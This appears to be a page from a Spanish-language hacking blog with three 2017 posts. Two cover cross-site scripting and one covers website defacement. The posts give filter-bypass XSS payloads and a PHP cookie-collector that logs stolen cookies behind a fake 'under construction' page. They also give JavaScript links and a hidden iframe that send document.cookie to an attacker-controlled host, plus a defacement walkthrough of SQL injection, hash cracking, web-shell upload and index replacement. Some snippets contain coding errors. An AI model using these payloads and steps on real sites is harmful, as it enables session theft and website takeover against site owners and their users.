Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

Mostrando las entradas con la etiqueta xss. Mostrar todas las entradas
Mostrando las entradas con la etiqueta xss. Mostrar todas las entradas

viernes, 8 de septiembre de 2017

Parte 2: Cross Site Scripting (XSS): Robo de cookies y modificación de un sitio web (persistente y reflejado).



En un post anterior explicamos los peligros de tener o hallar una vulnerabilidad XSS en un sitio web, así como los tipos de XSS que existen y la manera de explotarlos. Hoy vamos a ver las tecnicas más avanzadas que existen al momento de querer explotar un fallo XSS.

Metodo 1: Reemplazando <script> con una sentencia nula "".


Aquí hay un código que tiene un filtro para detectar ataques XSS, sin embargo es vulnerable a XSS Reflejado modificando un parámetro.

<?php
if(!array_key_exists ("nombre", $_GET) || $_GET['nombre'] == NULL || $_GET['nombre'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hola ' . str_replace('<script>', '', $_GET['nombre']);
echo '</pre>';
}
?>

Cómo puedes ver en el código anterior, el developer añadió un filtro que reemplaza la cadena "<script>" con el sting nulo "". Una manera de bypassear este filtro es, en lugar de "<script>" escribir "<SCRIPT>" en mayúscula, ya que el developer solo filtra el texto "<script>" en minúscula. La manera de bypassear este filtro sería: <SCRIPT>.......</SCRIPT>

Otra manera de bypassear el filtro anterior es usando la siguiente sentencia

<script type=text/javascript>alert("XSS")</script>

Tenga en cuenta que usar las siglas XSS para probar si un sitio web es vulnerable a dicho ataque es una mala idea, la mayoría de sitios bloquean peticiones que contienen esas letras.

Metodo 2: Filtración de magic quotes (carácteres especiales).

En esta tecnica el desarrollador del sitio web, usa una funcion PHP llamada "addslashes()" que añade un slash "/" antes de cualquier carácter especial. Por eso el tradicional código que se usa para pruebas XSS no funciona.

Sin embargo hay varias maneras de bypassear este filtro que discutimos a continuación.

1. El metodo más facíl de bypassear este filtro es justamente no usando magic quotes, por ejemplo declarando una variable y asignando un número a ella, luego generando un mensaje con esa variable de este modo:

<script>var val= 1; alert(val)</script>

2. Este metodo es un poco más avanzado, consiste en utilizar una función incluida en JavaScript que permite convertis valores decimales a ASCII, usted puede encontrar una tabla completa de valores ASCII aquí http://www.asciitable.com/  esto puede ayudarte a escribir lo que tu quieres o también puedes usar el convertidor de DuckDuckGo el cual te ayuda a convertir múltiples tipos de textos a otros formatos, en este casi de ASCII a decimal. Si deseamos por ejemplo escribir "XSS" en nuestro caso el equivalente en decimal es "88 83 83", ahora que tenemos nuestro valor decimal necesitamos saber que función de JavaScript convierte de decimal a ASCII, esta función se llama "String.fromCharCode()" y para usar esta con un script de alerta lo haríamos de la siguiente manera:

<script>alert(String.fromCharCode(120, 115, 115)</script>

Ahora la página nos debería mostrar el texto "XSS" en pantalla, este método es muy eficiente para bypassear la protección anteriormente mencionada.

Realizando el robo de cookies.

Probablemente haya oído acerca del robo de cookies y cómo pueden estas ser usadas para iniciar sesiones en un sitio web, servidor, etc. Debes estar pensando que realizar un robo de cookies es un trabajo difícil y que tomará mucho tiempo, sin embargo es algo muy simple y fácil, solo necesitamos unas bases de programación y un sitio vulnerable a XSS.

Lo que necesitamos para realizar el robo de cookies es lo siguiente: Crear un script PHP llamado recolector_de_cookies.php, subiremos este a una compañía de hosting, luego injectaremos un código JS malicioso que enviará las cookies a nuestro sitio web malicioso y cuando nuestro archivo PHP recibe la información la guardará en un archivo llamado cookie_robada.txt. ¿Fácil verdad?

Entonces necesitamos lo siguiente:

* Un script PHP que reciba la cookie.
* Un código JS que envíe la cookie a nuestro sitio web malicioso.
* Una compañía de hosting que te permita subir el script PHP.

1. recolector_de_cookies.php


Aquí he creado un script que puede ser usado con esa finalidad, el cual recolecta y guarda la cookie en un archivo llamado cookie_robada.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie_robada.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
?>
 
Para entender lo que hace este script:

$collectedCookie=$HTTP_GET_VARS["cookie"]; 
Esta línea guarda los datos que están almacenados en la variable llamada cookie dentro de la variable llamada collectedCookie.

$date=date("l ds of F Y h:i:s A");
Esta línea guarda los datos en que se realizó el robo de la cookie.

$user_agent=$_SERVER['HTTP_USER_AGENT'];
Aquí guardamos el User Agent usado por la víctima al momento de iniciar sesion, puede servir para futuros ataques en caso de ser requerido.

$file=fopen('cookie_robada.txt','a');
Aquí creamos el archivo cookie_robada.txt el cual guarda la información almacenada en las cookies de la víctima.

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
Aquí guardamos los datos en el formato ("FECHA: || User Agent || COOKIE").

fclose($file);
Cerramos el archivo.

echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
Imprimimos el mensaje "Lo sentimos, esta página está en construcción" y ofrecemos un link que los redirige a google.

Aquí terminamos con el archivo que nos será de utilidad para robar las cookies.

2. Código JavaScrip.

Este es un código JS que puede ser inyectado en el servidor o en el navegador de la víctima. Podemos usar cualquiera de los siguientes scripts:

<a onclick="document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);" href="#">Click aquí para detalles.</a>

Este script necesita la interacción del usuario ya que ofrecemos un link al usuario que debe clickearlo, el cual lo redireccionará a nuestro sitio web malicioso que se encargará de recolectar toda la información.

<iframe width='0' height='0' frameborder='0'
src='<script>document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);</script>' />

Este script no necesita ningún tipo de interacción ya que inyecta directamente el sitio web la victima y además es invisible a la victima que no puede ver nada cuando la conexión es establecida y de este modo podemos robar la información.

Una vez realizado con éxito el ataque podemos buscar en nuestro hosting el archivo llamado cookie_robada.txt y darle los usos que consideremos pertinentes. 

Nota: Vabe la pena resaltar que en los scripts anteriores debemos cambiar la variable document.location por  document.location='http://nuestrohosting.com/recolector_de_cookies.php?cookie='+escape(document.cookie);

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.



viernes, 25 de agosto de 2017

Defacement, las habilidades de un hacker


Según wikipedia: 'Defacement es una palabra inglesa que significa desfiguración y es un término usado en informática para hacer referencia a la deformación o cambio producido de manera intencionada en una página web por un atacante que haya obtenido algún tipo de acceso a ella, bien por algún error de programación de la página, por algún bug en el propio servidor o por una mala administración de este'. 

Un método común de para un defacement, es hacer uso de la Inyección SQL a sitios con dicha vulnerabilidad, que permite a los adversarios obtener acceso administrativo o manipular de otra forma las bases de datos inseguras del sitio web. Otro método de defacement es a través de FTP una vez que se obtiene el nombre de usuario y la contraseña.

Un defacement usualmente consta de la modificación de la index principal de una página. Esta página generalmente incluye el seudónimo del  'Hacking Codename.  A veces, quien lo hace se burla del administrador del sistema por no mantener la seguridad del servidor. La mayoría de las veces, el defacements es inofensiva y sólo se hace para mostrar las habilidades de un hacker del sistema o para el hacktivismo; Sin embargo, a veces se puede utilizar como una distracción para cubrir acciones más siniestras, como la carga de malware o la eliminación de archivos esenciales del servidor. Podemos ver en esta pagina espejo los diferente defacements. https://zone-h.org/archive/special=1

Una vez aprendido algo de la teoría le enseñare a realizar uno con éxito. la cual comenzare a nuestra index es importante tener conocimiento en html, usare este código que es unos de los mas básico.

1er parte armando el código HTML para index:

<head>
<title>Hacked</title>
<meta charset="utf-8">
<link href='https://fonts.googleapis.com/css?family=Poiret+One' rel='stylesheet' type='text/css'>
<style type="text/css">
body {
background-color: black;
}
h1 {
font-family: "Poiret One";
color: red;
font-size: 36pt;
text-shadow: red 0 0 5px;
}
p {
font-family: "Poiret One";
color: white;
font-size: 16pt;
text-shadow: white 0 0 5px;
}
</style>
</head>
<body>
<center>
<h1>Hacked by Security Hack Labs</h1>
<IMG SRC="https://i.imgur.com/7chFILu.png" WIDTH=600 HEIGHT=400 ALT="Arepa pa todo el mundo">
<p>
<MARQUEE WIDTH=50% HEIGHT=60>Esta es una prueba de un defaced con fines educativo, ustedes con su imaginación pueden mejorar esta index</MARQUEE>
</p>
<iframe id="ytplayer" type="text/html" width="0" height="0" src="https://www.youtube.com/embed/0a-dLVgfpEs?autoplay=1" frameborder="0"/>
</center>
</html>
 


2da parte búsqueda de vulnerabilidad de la pagina web 

Comenzare hablando sobre algunas herramientas como "Vega".  Vega es un escáner gratuito y de código abierto y una plataforma de pruebas para probar la seguridad de las aplicaciones web. Vega puede ayudarle a encontrar y validar SQL Injection, Cross-Site Scripting (XSS), divulgó inadvertidamente información confidencial y otras vulnerabilidades. Está escrito en Java, basado en GUI, y se ejecuta en Linux, OS X y Windows.

Vega incluye un escáner automatizado para pruebas rápidas y un proxy de interceptación para la inspección táctica. El escáner de Vega encuentra XSS (cross-site scripting), inyección de SQL y otras vulnerabilidades. Vega se puede ampliar usando una poderosa API en el lenguaje de la web: Javascript. para mayor información como instalar y configurar Vega https://subgraph.com/vega/

Para vulnerabilidades SQL: Sqlmap es una herramienta de prueba de penetración de código abierto que automatiza el proceso de detección y aprovechamiento de fallas de inyección de SQL y toma de servidores de bases de datos. Viene con un motor de detección potente, muchas características de nicho para el probador de penetración final y una amplia gama de interruptores que van desde la huella dactilar de base de datos, la recolección de datos de la base de datos, el acceso al sistema de archivos subyacente y la ejecución de comandos en el sistema operativo. para mayor información como instalar y configurar Sqlmap. http://sqlmap.org/ adicionalmente puedes descargar nuestra herramienta webhackshl y automatizar la inyección: https://github.com/sechacklabs/webhackshl 

Tamper Scripts: Los firewalls de aplicaciones web se han convertido en la nueva solución de seguridad para varias empresas. Muchas compañías a menudo ignoran las vulnerabilidades reales y simplemente confían en el firewall para su protección. Lamentablemente, la mayoría, si no todos los firewalls pueden ser anulados. "Como datos curioso leer todo lo relacionado a los Tamper Scripts". https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423

Otra herramienta para buscar vulnerabilidades es  WebHackSHL aquí encontraras mayor información.

3ra parte. Dumpe la base de datos: 

En el siguiente vídeo veremos que es una base de datos.


4ta parte. Descifrar los hashes:

Usaremos nuestra herramienta WebHackSHL la opción f


La opción a identifica el hashes

5ta parte subir la shell:

Que es una shell? Una shell es un interpete de ordenes y comandos. Es una interfaz para comunicar el usuario con el sistema operativo. En esta pagina podemos encontrar varias shell http://www.r57.gen.tr/ 

6ta parte subir nuestra index:  

Una vez que ya hemos subido la shell y descifrado el hashes, entramos al  panel de administración según la escala de privilegios que hemos obtenido tenemos el control total de la pagina.  
También podemos usar WebHackSHL para buscar el panel de administrador
Así quedaría una pagina haciendo un "defacement".

También les dejo el vídeo promocional de nuestra herramienta WebHackSHL.


Dejen sus recomendaciones en los comentarios. Síguenos en Facebook, Twitter y unete a nuestra charla en Riot.

miércoles, 23 de agosto de 2017

Parte 1: Cross Site Scripting (XSS): Robo de cookies y modificación de un sitio web (persistente y reflejado).


El Cross Site Scripting (XSS) es un tipo de vulnerabilidad que normalmente se presenta en páginas web, la cual permite al atacante inyectar y ejecutar códigos maliciosos en el servidor o CMS remoto. El XSS es una de las vulnerabilidades más comúnmente encontradas en sitios web y la principal razón de su existencia es que el administrador de una página confia en lo que el usuario introduce desde el teclado y le brinda información de acuerdo a su consulta, entonces el usuario puede introducir scripts específicos con código malicioso y de esta manera obtener información que el desee para un posterior ataque.

* ¡EL XSS ES PELIGROSO!

Aunque es una de las vulnerabilidades más conocidas y que muchas veces pasa desapercibida, el XSS es realmente una vulnerabilidad peligrosa, permite en ciertos casos cambiar el dominio del sitio web, redireccionarlo, robar credenciales del administrador y comprometer los datos que contenga el sitio web. ¡Todo depende de tus conocimientos y tu ingenio!

* ¿Que puede realizar el atacante por medio de esta vulnerabilidad?

1. Cambiar configuraciones.
2. Robo de cookies.
3. Robar tokens para hacer un CSRF (Cross Site Request Forgery) más fácil.

Como dijimos, debes ser creativo para explotar un XSS.

* TIPOS DE XSS.

1. Reflejado: Es el tipo de XSS menos peligroso y solo permite una modificación parcial del sitio web, para que otros lo vean el usuario debe enviar un link "especial" con el contenido a inyectar. Aquí un ejemplo de un código PHP vulnerable a XSS reflejado:

<?php
if(!array_key_exists("nombre",$_GET) | |$_GET['nombre'] == NULL || $_GET['nombre']==''){
$isempty=true;
}
else{
echo '<pre>';
echo 'Hola!' . $_GET['nombre'];
echo '</pre>';
}
?>

Como podemos ver el parámetro nombre no está definido correctamente ya que este devuelve un "echo" a el usuario, de manera que podemos ingresar un código JS del tipo <script>alert(/xss/)</script> y este lo ejecutará como tal.

2. Persistente: Este tipo de ataque es almacenado en el servidor y por lo tanto es visible a cualquier persona que ingrese al sitio web atacado. Este tipo de vulnerabilidad se presenta cuando los datos recolectados desde el teclado del usuario son guardados en el servidor y que son vistos normalmente en cualquier página que returne el mismo. Un ejemplo claro son los "chan's" o "boards" donde un usuario escribe un comentario que puede ser visto por otros usuarios. Aquí un ejemplo de un código PHP vulnerable a XSS persistente:

<?php
if(isset($_POST['btnSign']))
{
$mensaje=trim($_POST['mtxMensaje']);
$nombre=trim($_POST['txtnombre']);
// Entrada del mensaje
$mensaje = stripslashes($mensaje);
$mensaje = mysql_real_escape_string($mensaje);
// Entrada del nombre
$nombre = mysql_real_escape_string($nombre);
$query = "INSERT INTO guestbook (comentario,nombre) VALUES (
'$mensaje','$nombre');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>

Las entradas de nombre y mensaje no están declaradas de manera correcta, ya que guardan los datos que reciben en la tabla guestbook y cuando el servidor returna esos datos al cliente este puede ejecutar código JS (JavaScript) malicioso que quedará almacenado en el servidor.


3. XSS basado en DOM (Document Object Model o Modelo de Objetos del Documento): Este tipo de XSS es una variante del XSS persistente. El DOM es un conjunto estandarizado de objetos para representar páginas web con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado, afectando el código de la primera página en el sistema local. Cuando el XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si se realizara la carga maliciosa en el cliente desde el servidor. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad.

A continuación usaremos la aplicación DVWA para realizar las demostraciones.

* XSS Reflejado.


Esto ocurre el introducir en el espacio "What's your name?" el cual es vulnerable a XSS Reflejado el siguiente texto: <script>alert("Esto+es+un+ejemplo+de+XSS+reflejado+by+SecHackLabs!")<%2Fscript>

* XSS Persistente.


Como vemos, este apartado funciona como un foro donde cada usuario deja su nombre y su mensaje. Pero ahora veamos que pasa si insertamos un nombre cualquiera y en mensaje algo como <script>alert("Aquí hay un XSS persistente!");</script>


Pues obtenemos un XSS persistente, el cual permanecerá ahí aunque recarguemos la página desde otro dispositivo y otra red.

* XSS DOM Based.

Supongamos que el siguiente código es usado para mostrarle a un usuario la opción de elegir su lenguaje preferido. Un lenguaje por defecto también es proporcionado en caso de que no haya elección alguna por parte del usuario, aquí una demostración:

<select>
<script>
document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>Spanish</OPTION>");
</script>
</select>

La página es invocada de una manera similar a esta: http://www.Xsitio.com/page.html?default=English

Un atacante puede usar esta web para enviársela a una víctima de la siguiente manera: http://www.Xsitio.com/page.html?default=<script>alert(document.cookie)</script>

El código JS original no esperaba que el parámetro Default tuviera código HTML como tal, por lo tanto este lo ejecuta dentro la página (DOM) y el navegador devuelve la página resultante al ejecutar la sentencia alert(document.cookie) que el atacante envió.
En el próximo post explicaremos técnicas avanzadas sobre cómo bypassear protecciones anti-XSS, firewalls y filtros, así como también dejaremos un par de scripts los cuales nos facilitarán llevar a cabo un robo de sesión, cookies, entre otros.

Dejen sus recomendaciones en los comentarios. Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.